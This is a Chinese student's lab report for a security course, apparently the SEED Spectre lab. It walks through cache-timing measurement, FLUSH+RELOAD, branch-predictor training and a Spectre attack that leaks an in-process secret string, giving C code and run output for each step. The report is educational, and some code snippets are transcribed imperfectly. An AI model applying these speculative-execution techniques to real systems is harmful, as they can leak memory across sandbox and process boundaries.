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《网络与系统安全》实验报告

实验一

Spectre Attack 实验

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一、实验过程

每个实验步骤(共6个任务)要求有具体截图和说明,截图的详细实验报告来描述你所做的工作和你观察到的现象。你还需要对一些有趣或令人惊讶的观察结果进行解释。请同时列出重要的代码段并附上解释。只是简单地附上代码不加以解释不会获得对应的分数。

任务 1: 从缓存读取数据与从内存读取数据的比较

```
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
uint8 t array[10*4096];
int main(int argc, const char **argv) {
  int junk=0;
  register uint64 t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i=0; i<10; i++) array[i*4096]=1;
  for(i=0; i<10; i++) _mm_clflush(&array[i*4096]);</pre>
  array[3*4096] = 100;
  array[7*4096] = 200;
  for(i=0; i<10; i++) {
   addr = &array[i*4096];
   time1 = __rdtscp(&junk); junk = *addr;
   time2 = rdtscp(&junk) - time1;
   printf("Access time for array[%d*4096]: %d CPU cycles\n",i, (int)time2);
  return 0;
```

在代码中,我们先访问 array[3*4096] 和 array[7*4096],因此,包含这两个元素的页面将被缓存。之后我们遍历 array[i * 4096],通过在读取数组前后计时来比较取每个 array[i * 4096]花费时间的方式,得到一个时间阈值来区分从缓存

读取数据与从主存读取数据两种类型的内存访问。

以下是编译并运行该程序得到的部分结果:

```
• [03/31/25]seed@VM:~/.../Labsetup$ task1
 Access time for array[0*4096]: 83 CPU cycles
 Access time for array[1*4096]: 188 CPU cycles
 Access time for array[2*4096]: 197 CPU cycles
 Access time for array[3*4096]: 67 CPU cycles
 Access time for array[4*4096]: 351 CPU cycles
 Access time for array[5*4096]: 367 CPU cycles
 Access time for array[6*4096]: 402 CPU cycles
 Access time for array[7*4096]: 363 CPU cycles
 Access time for array[8*4096]: 336 CPU cycles
 Access time for array[9*4096]: 363 CPU cycles
[03/31/25]seed@VM:~/.../Labsetup$ task1
 Access time for array[0*4096]: 121 CPU cycles
 Access time for array[1*4096]: 194 CPU cycles
 Access time for array[2*4096]: 202 CPU cycles
 Access time for array[3*4096]: 55 CPU cycles
 Access time for array[4*4096]: 199 CPU cycles
 Access time for array[5*4096]: 200 CPU cycles
 Access time for array[6*4096]: 196 CPU cycles
 Access time for array[7*4096]: 45 CPU cycles
 Access time for array[8*4096]: 206 CPU cycles
 Access time for array[9*4096]: 208 CPU cycles
[03/31/25]seed@VM:~/.../Labsetup$ task1
 Access time for array[0*4096]: 139 CPU cycles
 Access time for array[1*4096]: 232 CPU cycles
 Access time for array[2*4096]: 355 CPU cycles
 Access time for array[3*4096]: 226 CPU cycles
 Access time for array[4*4096]: 380 CPU cycles
 Access time for array[5*4096]: 375 CPU cycles
 Access time for array[6*4096]: 385 CPU cycles
 Access time for array[7*4096]: 201 CPU cycles
 Access time for array[8*4096]: 361 CPU cycles
 Access time for array[9*4096]: 412 CPU cycles
```

```
    [03/31/25]seed@VM:~/.../Labsetup$ task1

  Access time for array[0*4096]: 112 CPU cycles
 Access time for array[1*4096]: 199 CPU cycles
 Access time for array[2*4096]: 204 CPU cycles
 Access time for array[3*4096]: 48 CPU cycles
 Access time for array[4*4096]: 209 CPU cycles
 Access time for array[5*4096]: 201 CPU cycles
 Access time for array[6*4096]: 587 CPU cycles
 Access time for array[7*4096]: 67 CPU cycles
 Access time for array[8*4096]: 226 CPU cycles
 Access time for array[9*4096]: 214 CPU cycles

    [03/31/25]seed@VM:~/.../Labsetup$ task1

 Access time for array[0*4096]: 114 CPU cycles
 Access time for array[1*4096]: 196 CPU cycles
 Access time for array[2*4096]: 226 CPU cycles
 Access time for array[3*4096]: 73 CPU cycles
 Access time for array[4*4096]: 351 CPU cycles
 Access time for array[5*4096]: 381 CPU cycles
 Access time for array[6*4096]: 416 CPU cycles
 Access time for array[7*4096]: 187 CPU cycles
 Access time for array[8*4096]: 353 CPU cycles
 Access time for array[9*4096]: 436 CPU cycles

    [03/31/25]seed@VM:~/.../Labsetup$ task1

 Access time for array[0*4096]: 88 CPU cycles
 Access time for array[1*4096]: 184 CPU cycles
 Access time for array[2*4096]: 202 CPU cycles
 Access time for array[3*4096]: 252 CPU cycles
 Access time for array[4*4096]: 197 CPU cycles
 Access time for array[5*4096]: 197 CPU cycles
 Access time for array[6*4096]: 196 CPU cycles
 Access time for array[7*4096]: 46 CPU cycles
 Access time for array[8*4096]: 206 CPU cycles
 Access time for array[9*4096]: 236 CPU cycles

    [03/31/25]seed@VM:~/.../Labsetup$ task1

 Access time for array[0*4096]: 401 CPU cycles
 Access time for array[1*4096]: 431 CPU cycles
 Access time for array[2*4096]: 216 CPU cycles
 Access time for array[3*4096]: 75 CPU cycles
 Access time for array[4*4096]: 211 CPU cycles
 Access time for array[5*4096]: 344 CPU cycles
 Access time for array[6*4096]: 309 CPU cycles
 Access time for array[7*4096]: 179 CPU cycles
 Access time for array[8*4096]: 317 CPU cycles
 Access time for array[9*4096]: 294 CPU cycles
```

可以看出,在多数情况下,取得 array[3 * 4096]和 array[7 * 4096]的命中时间要小于 100 个时钟周期,因此将阈值设为 100.

任务 2: 使用缓存作为测信道

使用 FLUSH+RELOAD 技术获取受害者函数的秘密值。包括三个步骤:

- 1. FLUSH: 将整个数组从缓存中清除, 确保数组没有被缓存;
- 2. 调用受害者函数: 该函数根据秘密值访问数组中的一个元素, 这将导致 对应的数组元素被缓存;
- 3. RELOAD: 重新加载整个数组并测量重新加载元素所需时间。如果某个元素加载时间比较快,则很可能这个元素存在于缓存中。也就是说这个元素是受害者函数所访问的那个元素,因此我们就能够确定秘密值。

```
uint8_t array[256*4096];
int temp;
unsigned char secret = 94;
#define CACHE_HIT_THRESHOLD (100)
#define DELTA 1024
void victim()
  temp = array[secret*4096 + DELTA];
void flushSideChannel()
 int i:
  // Write to array to bring it to RAM to prevent Copy-on-write
 for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
 for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
void reloadSideChannel()
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
   addr = &array[i*4096 + DELTA];
   time1 = __rdtscp(&junk);
   junk = *addr;
   time2 = __rdtscp(&junk) - time1;
  if (time2 <= CACHE_HIT_THRESHOLD){</pre>
  printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
       printf("The Secret = %d.\n",i);
int main(int argc, const char **argv)
  flushSideChannel();
  victim();
  reloadSideChannel();
```

主函数先调用 flushSideChannel 函数. 将数组元素从缓存中清除;

然后调用 victim 受害者函数, 受害者函数根据 secret 的值访问数组中的特定元素, 将其加载到缓存中;

最后调用 reloadSideChannel 函数,通过遍历每个 array[i*4096 + DELTA]的值,并计算访问时间,判断是否小于阈值的方法来获取秘密值。当访问时间小于阈值时,访问的这个数组元素很大可能位于缓存中,即为 victim 函数访问的元素。

以下是运行该程序的部分结果:

```
[03/31/25]seed@VM:~/.../Labsetup$ gcc FlushReload.c -o task2
[03/31/25]seed@VM:~/.../Labsetup$ task2
array[94*4096 + 1024] is in cache.
The Secret = 94.
03/31/25]seed@VM:~/.../Labsetup$ task2
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ task2 array[94*4096 + 1024] is in cache.
The Secret = 94.
03/31/25]seed@VM:~/.../Labsetup$ task2
 array[94*4096 + 1024] is in cache.
 The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ task2
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@WM:~/.../Labsetup$ task2
array[94*4096 + 1024] is in cache.
 The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ task2
array[94*4096 + 1024] is in cache.
The Secret = 94.
● [03/31/25]seed@VM:~/.../Labsetup$ task2
 array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ task2
array[94*4096 + 1024] is in cache.
 The Secret = 94.
[03/31/25]seed@WM:~/.../Labsetup$ task2
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ task2
array[94*4096 + 1024] is in cache.
 The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ task2
array[94*4096 + 1024] is in cache.
The Secret = 94.
03/31/25]seed@VM:~/.../Labsetup$ task2
 array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ task2
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ task2
 array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ task2
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@WM:~/.../Labsetup$ task2
array[94*4096 + 1024] is in cache.
```

可以看到,几乎每次都能观察到预期的输出结果。

任务 3: 乱序执行与分支预测

乱序执行是一种优化技术,它允许 CPU 最大化利用所有的执行单元。只要数据已经准备好,CPU 就会并行地执行它们,而不是严格按照顺序来执行指令。以以下这段代码为例:

```
data = 0;
if (x < size) {
    data = data + 5;
}</pre>
```

这段代码涉及两个操作,从内存加载 size 的值,以及比较该值与 x 的值。如果 size 不在缓存中,CPU 需要很长时间来读其值。现代 CPU 会预测比较的结果,并基于预测来执行相应的分支。然而,如果提前执行的指令不应该被执行,理论上应该清除乱序执行对寄存器,内存和缓存上的痕迹。但大多数 CPU 并不会清除缓存。以下是通过这个原理来实现攻击的代码:

```
void flushSideChannel()
 int i;
 for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  //flush the values of the array from cache
 for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);</pre>
void reloadSideChannel()
 int junk=0;
 register uint64_t time1, time2;
  volatile uint8_t *addr;
  for(i = 0; i < 256; i++){
   addr = &array[i*4096 + DELTA];
   time1 = __rdtscp(&junk);
junk = *addr;
   time2 = __rdtscp(&junk) - time1;
   if (time2 <= CACHE_HIT_THRESHOLD){</pre>
  printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
       printf("The Secret = %d.\n", i);
void victim(size_t x)
     temp = array[x * 4096 + DELTA];
```

```
int main() {
  int i;

// FLUSH the probing array
  flushSideChannel();

// Train the CPU to take the true branch inside victim()
  for (i = 0; i < 10; i++) {
    | victim(i);
  }

// Exploit the out-of-order execution
    _mm_clflush(&size);
  for (i = 0; i < 256; i++)
    | _mm_clflush(&array[i*4096 + DELTA]);
    victim(97);

// RELOAD the probing array
  reloadSideChannel();

return (0);
</pre>
```

主函数首先调用 flushSideChannel 函数将 array 从缓存中清除;

接着循环多次调用 victim 函数,传入小于 size 的值,训练 CPU 走真分支,

让 CPU 预测 victim 函数中的条件判断总为真;

之后将 size 和 array 再次从缓存中清除;

然后调用 victim 函数, 传入 97, 但由于此前 CPU 已多次判断条件总为真, 故虽然 97 并不满足<size 的条件, 由于乱序执行与分支预测, array[97 * 4096 + DELTA]还是会被提前访问并加载到缓存中;

最后调用 reloadSideChannel 函数,通过遍历每个 array[i*4096 + DELTA]的值,并计算访问时间,判断是否小于阈值的方法来获取秘密值。当访问时间小于阈值时,访问的这个数组元素很大可能位于缓存中,即为 victim 函数访问的元素。

以下是运行该程序的部分结果:

```
[03/31/25]seed@VM:~/.../Labsetup$ gcc SpectreExperiment.c -o task3
• [03/31/25]seed@VM:~/.../Labsetup$ task3
 array[97*4096 + 1024] is in cache.
 The Secret = 97.

    [03/31/25]seed@VM:~/.../Labsetup$ task3

 array[97*4096 + 1024] is in cache.
 The Secret = 97.
• [03/31/25]seed@VM:~/.../Labsetup$ task3
 array[97*4096 + 1024] is in cache.
 The Secret = 97.

    [03/31/25]seed@VM:~/.../Labsetup$ task3

 array[97*4096 + 1024] is in cache.
 The Secret = 97.
[03/31/25]seed@VM:~/.../Labsetup$ task3
 array[97*4096 + 1024] is in cache.
 The Secret = 97.
[03/31/25]seed@VM:~/.../Labsetup$ task3
 array[97*4096 + 1024] is in cache.
 The Secret = 97.
[03/31/25]seed@VM:~/.../Labsetup$ task3
 array[97*4096 + 1024] is in cache.
 The Secret = 97.
• [03/31/25]seed@VM:~/.../Labsetup$ task3
 array[97*4096 + 1024] is in cache.
 The Secret = 97.
[03/31/25]seed@VM:~/.../Labsetup$ task3
 array[97*4096 + 1024] is in cache.
 The Secret = 97.
[03/31/25]seed@VM:~/.../Labsetup$ task3
[03/31/25]seed@VM:~/.../Labsetup$ task3
 array[97*4096 + 1024] is in cache.
 The Secret = 97.
[03/31/25]seed@VM:~/.../Labsetup$ task3
 array[97*4096 + 1024] is in cache.
 The Secret = 97.
[03/31/25]seed@VM:~/.../Labsetup$ task3
 array[97*4096 + 1024] is in cache.
 The Secret = 97.

    [03/31/25]seed@VM:~/.../Labsetup$ task3

 array[97*4096 + 1024] is in cache.
 The Secret = 97.
```

可以看到,在绝大部分情况下,可以正确得到结果。

注释掉_mm_clflush(&size);

运行该程序的部分结果为:

```
• [03/31/25]seed@VM:~/.../Labsetup$ gcc SpectreExperiment.c -o task3
 [03/31/25]seed@VM:~/.../Labsetup$ task3
 [03/31/25]seed@VM:~/.../Labsetup$ task3
■ [03/31/25]seed@VM:~/.../Labsetup$ task3
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    [03/31/25]seed@VM:~/.../Labsetup$ task3

[03/31/25]seed@VM:~/.../Labsetup$ task3
[03/31/25]seed@VM:~/.../Labsetup$ task3
 array[97*4096 + 1024] is in cache.
 The Secret = 97.
 [03/31/25]seed@VM:~/.../Labsetup$ task3
[03/31/25]seed@VM:~/.../Labsetup$ task3
```

可以看到在绝大多数情况下,这个值并没有被访问到。这是因为 size 并没有从缓存中清除,因而访问 size 的速度很快,CPU 无法完成分支预测就得到了正确的判断结果。

将原来的 victim(i)改为 victim(i + 20), 运行该程序的部分结果为:

```
● [03/31/25]seed@VM:~/.../Labsetup$ gcc SpectreExperiment.c -o task3
[03/31/25]seed@VM:~/.../Labsetup$ task3

    [03/31/25]seed@VM:~/.../Labsetup$ task3

[03/31/25]seed@VM:~/.../Labsetup$ task3

    [03/31/25]seed@VM:~/.../Labsetup$ task3

[03/31/25]seed@VM:~/.../Labsetup$ task3
• [03/31/25]seed@VM:~/.../Labsetup$ task3
[03/31/25]seed@VM:~/.../Labsetup$ task3

    [03/31/25]seed@VM:~/.../Labsetup$ task3

[03/31/25]seed@VM:~/.../Labsetup$ task3
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[03/31/25]seed@VM:~/.../Labsetup$ task3
[03/31/25]seed@VM:~/.../Labsetup$ task3
[03/31/25]seed@VM:~/.../Labsetup$ task3
```

可以看到在绝大多数情况下,这个值并没有被访问到。这是因为在前面的 10次训练中, if 条件一直为假,条件为假的分支总是执行,因而 CPU 在后面的 预判中会选择条件为假的分支,并不会访问到 array[97 * 4096 + DELTA]。

任务 4: Specture 攻击

由前面的任务可得 CPU 在 if 语句的条件为假时仍有可能执行条件为真的代码。当浏览器打开不同服务端的网页时,这些网页通常在同一个进程中打开。浏览器内部实现的沙箱为页面提供隔离环境。大多数软件保护依赖于条件检查,因此,利用 Spectre 攻击,即使条件检查失败,我们也可以让 CPU 乱序执行执行受保护的代码分支,绕过访问控制。

以下是 Spectre 的攻击代码:

```
unsigned int bound lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
       *secret
                 = "Some Secret Value";
uint8 t array[256*4096];
#define CACHE HIT THRESHOLD (100)
#define DELTA 1024
// Sandbox Function
uint8 t restrictedAccess(size t x)
  if (x <= bound_upper && x >= bound_lower) {
    return buffer[x];
  } else {
    return 0;
void flushSideChannel()
  int i;
  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
void reloadSideChannel()
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8 t *addr;
  int i;
  for(i = 0; i < 256; i++){
    addr = &array[i*4096 + DELTA];
   time1 = __rdtscp(&junk);
   junk = *addr;
   time2 = __rdtscp(&junk) - time1;
   if (time2 <= CACHE_HIT_THRESHOLD){</pre>
        printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
        printf("The Secret = %d(%c).\n",i, i);
```

```
void spectreAttack(size_t index_beyond)
  int i;
  volatile int z;
  for (i = 0; i < 10; i++) {
     restrictedAccess(i);
 _mm_clflush(&bound_upper);
  _mm_clflush(&bound_lower);
  for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }
  for (z = 0; z < 100; z++) {
  s = restrictedAccess(index beyond);
  array[s*4096 + DELTA] += 88;
int main() {
  flushSideChannel();
  size_t index_beyond = (size_t)(secret - (char*)buffer);
  printf("secret: %p \n", secret);
  printf("buffer: %p \n", buffer);
  printf("index of secret (out of bound): %ld \n", index_beyond);
  spectreAttack(index beyond);
  reloadSideChannel();
  return (0);
```

主函数调用 flushSideChannel 函数将 arary 从缓存中清除;

计算 secret 相对于 buffer 的偏移量,这个偏移量是超出缓冲区范围的;

调用 spectreAttack 函数, 训练 CPU 使得 CPU 预测为真, 将偏移量传给 restrictedAccess 函数, CPU 将在推测性执行中返回 buffer[index_beyound], 这即 为秘密值;

调用 reloadSideChannel 函数,通过测量缓存访问时间来检测哪些元素位于缓存中,当访问时间小于阈值时,访问的这个数组元素很大可能位于缓存中,从而得到秘密信息。

以下是该程序的部分运行结果:

```
[03/31/25]seed@VM:~/.../Labsetup$ gcc SpectreAttack.c -o task4
 [03/31/25]seed@VM:~/.../Labsetup$ task4
 secret: 0x55e127461008
 buffer: 0x55e127463018
 index of secret (out of bound): -8208
 array[0*4096 + 1024] is in cache.
 The Secret = \theta().
 array[83*4096 + 1024] is in cache.
 The Secret = 83(5).
[03/31/25]seed@VM:~/.../Labsetup$ task4
 secret: 0x55d93b07d008
 buffer: 0x55d93b07f018
 index of secret (out of bound): -8208
 array[0*4096 + 1024] is in cache.
 The Secret = \theta().
 array[83*4096 + 1024] is in cache.
 The Secret = 83(S).
[03/31/25]seed@VM:~/.../Labsetup$ task4
 secret: 0x5584f92b0008
 buffer: 0x5584f92b2018
 index of secret (out of bound): -8208
 array[0*4096 + 1024] is in cache.
 The Secret = \theta().
 array[83*4096 + 1024] is in cache.
 The Secret = 83(S).
[03/31/25]seed@VM:~/.../Labsetup$ task4
 secret: 0x561f54de4008
 buffer: 0x561f54de6018
 index of secret (out of bound): -8208
 array[0*4096 + 1024] is in cache.
 The Secret = \theta().
 array[83*4096 + 1024] is in cache.
 The Secret = 83(S).
 [03/31/25]seed@VM:~/.../Labsetup$ task4
 secret: 0x555ac822c008
 buffer: 0x555ac822e018
 index of secret (out of bound): -8208
 array[0*4096 + 1024] is in cache.
 The Secret = \theta().
 array[83*4096 + 1024] is in cache.
 The Secret = 83(S).
 [03/31/25]seed@VM:~/.../Labsetup$ task4
 secret: 0x5598c3131008
 buffer: 0x5598c3133018
 index of secret (out of bound): -8208
 array[0*4096 + 1024] is in cache.
 The Secret = \theta().
 array[83*4096 + 1024] is in cache.
 The Secret = 83(S).
 [03/31/25]seed@VM:~/.../Labsetup$ task4
 secret: 0x5624e83ac008
```

```
[03/31/25]seed@VM:~/.../Labsetup$ task4
 secret: 0x55bf80d7d008
 buffer: 0x55bf80d7f018
 index of secret (out of bound): -8208
 array[0*4096 + 1024] is in cache.
 The Secret = \theta().
 array[83*4096 + 1024] is in cache.
 The Secret = 83(S).
[03/31/25]seed@VM:~/.../Labsetup$ task4
 secret: 0x5555a5153008
 buffer: 0x5555a5155018
 index of secret (out of bound): -8208
 array[0*4096 + 1024] is in cache.
 The Secret = \theta().
 array[83*4096 + 1024] is in cache.
 The Secret = 83(S).

    [03/31/25]seed@VM:~/.../Labsetup$ task4

 secret: 0x5606617bd008
 buffer: 0x5606617bf018
 index of secret (out of bound): -8208
 array[0*4096 + 1024] is in cache.
 The Secret = \theta().
 array[83*4096 + 1024] is in cache.
 The Secret = 83(S).

    [03/31/25]seed@VM:~/.../Labsetup$ task4

 secret: 0x5580a8b4b008
 buffer: 0x5580a8b4d018
 index of secret (out of bound): -8208
 array[0*4096 + 1024] is in cache.
 The Secret = \theta().
[03/31/25]seed@VM:~/.../Labsetup$
```

可以看到,在绝大部分情况下,可以正确得到结果。

任务 5: 提高攻击准确性

在先前任务中,我们可以看到结果具有一定的噪音,并非总是准确。这种缓存中的噪音会影响我们的攻击结果,因此我们要进行多次攻击,统计 k 是秘密值的分数,使得具有最高分数的 k 作为最终的秘密值。

修改后的代码如下:

```
unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
uint8_t temp
               = 0;
char *secret = "Some Secret Value";
uint8 t array[256*4096];
#define CACHE_HIT_THRESHOLD (100)
#define DELTA 1024
// Sandbox Function
uint8_t restrictedAccess(size_t x)
  if (x <= bound_upper && x >= bound_lower) {
   return buffer[x];
  } else {
   return 0;
void flushSideChannel()
  int i;
  // Write to array to bring it to RAM to prevent Copy-on-write
 for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]);
static int scores[256];
void reloadSideChannelImproved()
int i;
 volatile uint8 t *addr;
  register uint64_t time1, time2;
  int junk = 0;
  for (i = 0; i < 256; i++) {
   addr = &array[i * 4096 + DELTA];
   time1 = __rdtscp(&junk);
   junk = *addr;
   time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD)</pre>
    scores[i]++; /* if cache hit, add 1 for this value */
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```
void spectreAttack(size_t index_beyond)
 volatile int z;
 for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }
 // Train the CPU to take the true branch inside victim().
 for (i = 0; i < 10; i++) {
   restrictedAccess(i);
 _mm_clflush(&bound_upper);
  mm_clflush(&bound_lower);
 for (i = 0; i < 256; i++) { _{mm_clflush(\&array[i*4096 + DELTA]);} }
 for (z = 0; z < 100; z++) { }
 s = restrictedAccess(index beyond);
 array[s*4096 + DELTA] += 88;
int main() {
 size_t index_beyond = (size_t)(secret - (char*)buffer);
 flushSideChannel();
 for(i=0;i<256; i++) scores[i]=0;
 for (i = 0; i < 1000; i++) {
   printf("*****\n"); // This seemly "useless" line is necessary for the attack to succeed
   spectreAttack(index_beyond);
   usleep(10);
   reloadSideChannelImproved();
 int max = 0;
 for (i = 0; i < 256; i++){}
   if(scores[max] < scores[i]) max = i;</pre>
 printf("Reading secret value at index %ld\n", index_beyond);
 printf("The secret value is %d(%c)\n", max, max);
printf("The number of hits is %d\n", scores[max]);
```

调用 flushSideChannel 函数将 array 数组从缓存中清除,并将 scores 数组初始化为 0;

循环 1000 次, 每次调用 spectreAttack 函数进行攻击, 然后程序暂停 10us,

最后调用 reloadSideChannelImproved 函数记录缓存命中情况;

找出 scores 数组中得分最高的索引 max, max 即为推测出的秘密值;

以下是运行该程序得到的部分结果:

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Reading secret value at index -8208
The secret value is 0()
The number of hits is 991
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Reading secret value at index -8208
The secret value is 0()
The number of hits is 928
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可以看到最高分数大部分情况为 scores[0], 这是因为当 restrictedAccess 函数接收到越界索引时, 会返回 0.在多次执行 spectreAttack 函数的过程中, 若有多次进行了越界访问, array[0 * 4096 + DELTA] 被频繁加载到缓存中,导致 scores[0]的值不断增加,最终成为最高分数。因此,我们需要判断,当 restrictedAccess 函数接收到越界索引并返回 0 时,这并不是我们想要的结果,直接跳过。将原来代码修改为

```
if (s) array[s*4096 + DELTA] += 88;
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运行该程序得到的部分结果如下:

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****
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 80
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Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 199
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****
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 116
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Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 90
```

注释掉 printf("****\n");

部分运行结果为:

```
■ [03/31/25]seed@VM:~/.../Labsetup$ gcc SpectreAttackImproved.c -o task5

    [03/31/25]seed@VM:~/.../Labsetup$ task5

 Reading secret value at index -8208
 The secret value is 0()
 The number of hits is 0
[03/31/25]seed@VM:~/.../Labsetup$ task5
 Reading secret value at index -8208
 The secret value is 0()
 The number of hits is 0

    [03/31/25]seed@VM:~/.../Labsetup$ task5

 Reading secret value at index -8208
 The secret value is 0()
 The number of hits is 0
[03/31/25]seed@VM:~/.../Labsetup$ task5
 Reading secret value at index -8208
 The secret value is 0()
 The number of hits is 0
[03/31/25]seed@VM:~/.../Labsetup$ task5
 Reading secret value at index -8208
 The secret value is 0()
 The number of hits is 0

    [03/31/25]seed@VM:~/.../Labsetup$ task5

 Reading secret value at index -8208
 The secret value is 0()
 The number of hits is 0

    [03/31/25]seed@VM:~/.../Labsetup$ task5

 Reading secret value at index -8208
 The secret value is 0()
 The number of hits is 1
[03/31/25]seed@VM:~/.../Labsetup$ task5
 Reading secret value at index -8208
 The secret value is 0()
 The number of hits is 0

    [03/31/25]seed@VM:~/.../Labsetup$ task5

 Reading secret value at index -8208
 The secret value is 0()
 The number of hits is 0
[03/31/25]seed@VM:~/.../Labsetup$ task5
 Reading secret value at index -8208
 The secret value is 0()
```

攻击未起作用,我也还没有找到确切原因。printf 函数属于系统调用,它会触发一次上下文切换,这会让 CPU 暂停当前的指令执行流程,处理系统调用相关的操作。当系统调用结束后,CPU 会恢复之前的执行流程。在这个恢复过程中,CPU 的乱序执行状态可能会发生改变,进而影响后续指令的执行顺序。另外,printf 函数的延迟可能会让缓存有更长的时间完成刷新操作。注释掉这行代码后,由于缺少了这个延迟,可能无法满足攻击的要求。

将休眠时间改为 5us,

程序的部分运行结果如下

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****
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 84
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****
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 133
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Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 213
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将休眠时间改为 50us,

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Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 120
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****
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 102
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****
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 135
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将休眠时间改为 500us

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Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 440
```

将休眠时间改为 5000us

观察数据可得,休眠时间短时,命中次数较少,说明适当的休眠时间有助于让 CPU 有足够的时间来执行指令和进行缓存操作。如果休眠时间过短,可能导致 reloadSideChannelImproved 函数在缓存状态还未稳定时就去读取,从而无法准确检测到缓存命中情况,降低攻击成功率;休眠时间过长,会影响攻击效率,也可能因为其他程序的干扰而影响结果。

任务 6: 窃取整个秘密字符串

在这个任务中, 我们扩展 task5 的代码, 使用 Spectre 攻击打印整个字符串。 代码如下:

```
int main() {
 size_t index_beyond = (size_t)(secret - (char*)buffer);
 int res[20] = {0};
    flushSideChannel();
    for(i=0;i<256; i++) scores[i]=0;
   for (i = 0; i < 1000; i++) {
     printf("*****\n"); // This seemly "useless" line is necessary for the attack to succeed
     spectreAttack(index_beyond + j);
     usleep(10);
     reloadSideChannelImproved();
   int max = 0;
   for (i = 0; i < 256; i++){}
     if(scores[max] < scores[i]) {</pre>
       res[j] = max;
 printf("Reading secret value at index %ld\n", index_beyond);
 printf("The secret value is ");
   printf("%c", res[i]);
 printf("\n");
```

定义一个 res 数组并初始化为 0, 循环进行 17 次攻击, 将每次攻击得到的结果赋值给对应的 res 数组中的元素。最后打印 res 数组即为得到的整个字符串。

程序部分运行结果如下:

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****
Reading secret value at index -8208
The secret value is Some Secret Value
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二、对本次实验的问题或建议

问题:

- 1. 在实验室运行任务 1 的时候, array[3*4096] 和 array[7*4096]的访问时间 通常要 200 个时钟周期往上, 然而在运行后面的任务时, 将阈值设置为 100 也能在大多数情况下得到正确结果。
- 2. 对于任务 5 部分的 printf("****\n"), 不能确切地知道用处。
- 3. 对于任务 5 部分的休眠时间,发现下至 0us, 上至 10000us, 好像都能得到正确结果, 无非是命中次数可能存在差异。

建议:老师讲得很好,实验很有趣,简单易懂!